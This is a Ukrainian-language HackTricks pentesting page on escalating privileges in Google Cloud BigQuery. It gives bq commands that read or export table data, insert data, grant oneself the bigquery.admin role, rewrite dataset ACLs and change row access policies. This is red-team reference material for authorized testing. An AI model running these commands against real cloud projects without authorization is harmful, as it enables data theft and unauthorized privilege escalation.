GCP - BigQuery Privesc

Вивчайте хакінг AWS від нуля до героя з htARTE (HackTricks AWS Red Team Expert)!

Інші способи підтримки HackTricks:

BigQuery

Для отримання додаткової інформації про BigQuery перегляньте:

pageGCP - Bigquery Enum

Читання таблиці

При читанні інформації, збереженої в таблиці BigQuery, можливо знайти чутливу інформацію. Для доступу до інформації потрібні дозволи bigquery.tables.get, bigquery.jobs.create та bigquery.tables.getData:

bq head <dataset>.<table>
bq query --nouse_legacy_sql 'SELECT * FROM `<proj>.<dataset>.<table-name>` LIMIT 1000'

Експорт даних

Це ще один спосіб отримання доступу до даних. Експортуйте їх в сховище хмарних даних та завантажте файли із інформацією. Для виконання цієї дії потрібні наступні дозволи: bigquery.tables.export, bigquery.jobs.create та storage.objects.create.

bq extract <dataset>.<table> "gs://<bucket>/table*.csv"

Вставка даних

Можливо, буде можливість вставити певні довірені дані в таблицю Bigquery для зловживання вразливістю в іншому місці. Це можна легко зробити за допомогою дозволів bigquery.tables.get, bigquery.tables.updateData та bigquery.jobs.create:

# Via query
bq query --nouse_legacy_sql 'INSERT INTO `<proj>.<dataset>.<table-name>` (rank, refresh_date, dma_name, dma_id, term, week, score) VALUES (22, "2023-12-28", "Baltimore MD", 512, "Ms", "2019-10-13", 62), (22, "2023-12-28", "Baltimore MD", 512, "Ms", "2020-05-24", 67)'

# Via insert param
bq insert dataset.table /tmp/mydata.json

bigquery.datasets.setIamPolicy

Зловмисник може скористатися цим дозволом, щоб надати собі додаткові дозволи для набору даних BigQuery:

# For this you also need bigquery.tables.getIamPolicy
bq add-iam-policy-binding \
--member='user:<email>' \
--role='roles/bigquery.admin' \
<proj>:<dataset>

# use the set-iam-policy if you don't have bigquery.tables.getIamPolicy

bigquery.datasets.update, (bigquery.datasets.get)

Лише це дозвіл дозволяє оновлювати ваш доступ до набору даних BigQuery, змінюючи списки керування доступом (ACL), які вказують, хто може отримати до нього доступ:

# Download current permissions, reqires bigquery.datasets.get
bq show --format=prettyjson <proj>:<dataset> > acl.json
## Give permissions to the desired user
bq update --source acl.json <proj>:<dataset>

bigquery.tables.setIamPolicy

Зловмисник може скористатися цими привілеями, щоб надати собі додаткові дозволи для таблиці BigQuery:

# For this you also need bigquery.tables.setIamPolicy
bq add-iam-policy-binding \
--member='user:<email>' \
--role='roles/bigquery.admin' \
<proj>:<dataset>.<table>

# use the set-iam-policy if you don't have bigquery.tables.setIamPolicy

bigquery.rowAccessPolicies.update, bigquery.rowAccessPolicies.setIamPolicy, bigquery.tables.getData, bigquery.jobs.create

Згідно з документацією, з вказаними дозволами можливо оновлювати політику рядка. Проте, використовуючи інтерфейс командного рядка bq вам знадобиться ще: bigquery.rowAccessPolicies.create, bigquery.tables.get.

bq query --nouse_legacy_sql 'CREATE OR REPLACE ROW ACCESS POLICY <filter_id> ON `<proj>.<dataset-name>.<table-name>` GRANT TO ("user:user@email.xyz") FILTER USING (term = "Cfba");' # A example filter was used

Можливо знайти ідентифікатор фільтра в виводі переліку політик рядка. Приклад:

bq ls --row_access_policies <proj>:<dataset>.<table>

Id        Filter Predicate            Grantees              Creation Time    Last Modified Time
------------- ------------------ ----------------------------- ----------------- --------------------
apac_filter   term = "Cfba"      user:asd@hacktricks.xyz   21 Jan 23:32:09   21 Jan 23:32:09
Вивчайте хакінг AWS від нуля до героя з htARTE (HackTricks AWS Red Team Expert)!

Інші способи підтримки HackTricks:

Last updated